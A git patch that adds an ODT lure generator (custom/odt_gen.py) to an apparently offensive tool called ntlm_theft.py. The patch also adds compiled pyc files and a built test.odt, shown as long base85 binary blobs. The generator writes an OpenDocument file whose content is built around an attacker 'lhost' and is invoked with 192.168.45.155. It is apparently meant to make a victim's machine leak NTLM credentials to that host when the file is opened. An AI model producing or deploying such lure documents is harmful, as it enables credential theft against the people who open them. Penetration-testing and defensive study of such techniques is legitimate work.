From e4b40c0c01bf8a95cdc55708c71e35bb1b7a0edc Mon Sep 17 00:00:00 2001 From: Farzul Nizam Zolkifli Date: Fri, 9 Jan 2026 23:24:31 +0800 Subject: [PATCH] added ODT --- custom/__pycache__/odt_gen.cpython-311.pyc | Bin 0 -> 33831 bytes custom/__pycache__/odt_gen.cpython-313.pyc | Bin 0 -> 32806 bytes custom/odt_gen.py | 102 ++ custom/test.odt | Bin 0 -> 6365 bytes ntlm_theft.py | 1348 ++++++++++---------- 5 files changed, 782 insertions(+), 668 deletions(-) create mode 100644 custom/__pycache__/odt_gen.cpython-311.pyc create mode 100644 custom/__pycache__/odt_gen.cpython-313.pyc create mode 100644 custom/odt_gen.py create mode 100644 custom/test.odt diff --git a/custom/__pycache__/odt_gen.cpython-311.pyc b/custom/__pycache__/odt_gen.cpython-311.pyc new file mode 100644 index 0000000000000000000000000000000000000000..2b3ac82ffe656d2c7d1a723ae3fbdc026100abcf GIT binary patch literal 33831 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%0AD(a`s!@zy4O@>}$Qh{%#!4 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 +''' + + with open("content.xml", "w", encoding="utf-8") as f: + f.write(data) + +def generate_manifest_rdf(): + data = ''' + + + + + + + + + + + + + + + + +''' + + with open("manifest.rdf", "w", encoding="utf-8") as f: + f.write(data) + +def generate_meta_xml(): + data = ''' +RD_PENTEST2017-02-06T15:15:47.352017-02-06T15:21:59.64RD_PENTESTPT4M16S22018-05-10T20:29:41.398000000LibreOffice/6.0.3.2$Windows_X86_64 LibreOffice_project/8f48d515416608e3a835360314dac7e47fd0b821''' + + with open("meta.xml", "w", encoding="utf-8") as f: + f.write(data) + +def generate_settings_xml(): + data = ''' +002449011340truefalseview23745250100244881133801false200falsefalsefalse1truefalsefalsetruefalsefalsetruetruetruefalse0truefalsefalsefalse0falsetruefalsehigh-resolutionfalsefalsefalsefalsefalsetruefalsefalsefalsefalsetruefalsetruefalsefalsefalsefalsefalsetruefalse1268869falsefalsefalsefalsefalse1268869falsetruefalsetruetruefalsefalsefalsefalsefalsetruefalsefalse0truefalsefalsetruetruetruefalsetruefalsetruefalsefalsetruefalsefalse''' + + with open("settings.xml", "w", encoding="utf-8") as f: + f.write(data) + +def generate_styles_xml(): + data = ''' +''' + + with open("styles.xml", "w", encoding="utf-8") as f: + f.write(data) + +def generate_manifest_xml(): + data = ''' + + + + + + + + + + + + + +''' + + os.makedirs("META-INF", exist_ok=True) + with open("META-INF/manifest.xml", "w", encoding="utf-8") as f: + f.write(data) + +def create_odt(lhost, filename): + generate_content_xml(lhost) + generate_manifest_rdf() + generate_meta_xml() + generate_settings_xml() + generate_styles_xml() + generate_manifest_xml() + # create_desktopini(args.generate, args.server, os.path.join(args.filename, "desktop.ini")) + + # zip to odt + files = ["content.xml", "manifest.rdf", "meta.xml", "settings.xml", "styles.xml", "META-INF/manifest.xml"] + with zipfile.ZipFile(filename, "w", zipfile.ZIP_DEFLATED) as z: + for f in files: + z.write(f, arcname=f) + + # cleanup files + for f in files: + if os.path.exists(f): + os.remove(f) + + # cleanup META-INF directory if empty + if os.path.isdir("META-INF") and not os.listdir("META-INF"): + os.rmdir("META-INF") + +if __name__ == '__main__': + create_odt('192.168.45.155', 'test.odt') \ No newline at end of file diff --git a/custom/test.odt b/custom/test.odt new file mode 100644 index 0000000000000000000000000000000000000000..37cb1912f3a291739e13ef6ce8dff0d9ce5c2d76 GIT binary patch literal 6365 zcmZ{oWl&t(wuKw_;Lr)~+E^3Z-QB(M#tH5aG=!vacXtVH9o(JZAp}T(;1Ytv%elAS zJ@=&Q?)_ueT2VgXd{QS-{fXaA!L|}3%i4UkGKHtIDMRU~Xc%}(;^dHJ@@wg885J=j z9+FkbsVJ~3Oq!R4YZxSy8rfQ=#ofCUOf(e;dqqny)Y$xVH$L5)^aQZp*keuX!c%8TkQ zTcCZo_Uf>~I#y;Ppen^AV@Gc0%#E$+lh;MA2rW+|UOeo3Yt?&g?kK+05sNQG{%jM1 zkC{fSlM zl09rpn29GJA8m&8_W$Ha{PDw-K4^vDAdsF(eeZetuWi48S`k5x0gBV7>- zG3swyT-NS zmR;*Ot&z4oinUU`IVi6eqld75#Zih~hbsnmQm2xlK!&#hXh}ZhW$~jFKIciVeODke zC2eNAE}9&h*-!KJ*a1-iMw~KH?*{EjsIHFNXK(*EXmFi%&H3Cs38YGDNoB(&3yF{J) zeThda0=PV!8$XPHEDTvXjhdG|0?jrSM^seylu3Mg!Ds)1s6HUHj!PM|hO)g>Sf1hy zf(CXeuPA42-Zk}1cc$F$ndvz#4;SePCIovOTF@xfs|ew`K=|0Qj&%@MY~Z+!3(yMH z&F;}czANWvbLQ}nsf>0!izZZ!yM1< zmEgp|{HBrYu^<-aNMcFcHR7n`dncr3B%4rK8KMR2d@&g)Jm=C9U0}y)p;*M?ms*@1 zrnziCpAz`WIdHsn!NDr4#kbsNq6&vNnDypMdjpp+KGEvlnoa3;!p)|DuVpaikJjo;hidSBE?F6t#YGf(^*|isjn(3Z!rtd3WO~WHuhHB&(m=75x;!G#|8rxh zODj>MA_iwScxl(fYJ|#6z4@Zgi!J$c$4GQ-KZCByh{HiJo49YqokrK_!X`EIu*&Sk z8|CesHk$X&DIiK^bC)7CuTjIG!HDZIbW_9DN9Bp=Ehg{D&Yuw9aAS# z=07m=*~fb{ax~>QO*|GaCAcwtCj+8MsHws-jtC!J%X3ZTw3JNa`~$H?mr?NKECO?X zD1r6ra4c5vmLmr6PGnDyYYtSlIr&7~-un660cFJ^@U?)F4loC`xVgcltIo3F>F?Vf z8R5DXPGq@4B732(#|KS{R!+@1nFjC-nTjXutLfb3WoH^U8^-SyLbafCz3txm0EZ~_+qpry-(XJ$zW!+8MW_s8_bnqV92^{N=!t>}@KJzef z#E`mEt}2)@p0Y4`komnvVo!23Jm&fQ-`l8TRo!K=tl!i4#rV?nU*3c&zw8 z4dU(qn72j+0N||uzE2)Do}N$_JCDCi(rmQ$YD)kwXroTyESIKrlu;*qzGLAi6m1!dR*OOKTGQM#Jh|>WJv6GMTdf8oeYS4uZ{@Wsbjm)C1nw(&v3W_jn z?yXn;#sM#yVRa7X$B%8jqY=?FFGMneEJ2)gALI+%v~J8R*7=mVtLczlhfh_nTzUmb#({F`}>P{-y_sr`O2Ke~oZ>GJWtuJ4# z_f$+ULbB%*^8ABtXa?b{Haxy+@%GJaJ&B)44ZH&+iZOM z_8@WSBU0X!H|O2YpZA6Nmz&tTNHOSEGnw3iDBYWoIOfpN)f`P0qKnxC)kqH;MV4m(*CLb}r2tR}03Uk`ulUj<UxJ9B?EH>Gt!6+V+kxsp+E}c=Fo!eA3!Tm-H7DKr=RauB(Q#y)WyO6B{Hdjl z=w#>&(kZ$3WT!GdJ6U-|@WU%@m)^81i_%Mzt{c+-DsdaPMinR|X=jkcImowVV1_nZBe zSn-_(>v)eU-#T9~=|Lxo(dGoyj%?z@_~t=UGlmdlRjnXpyqH>X;9QaLm?dvvIB3Ld zGpmQ2@ao3EMYsdD^@4!inZkJRtlEGlE(1^O-k=kdx+jL$px9sP=J$i{PI%l&{t;t2 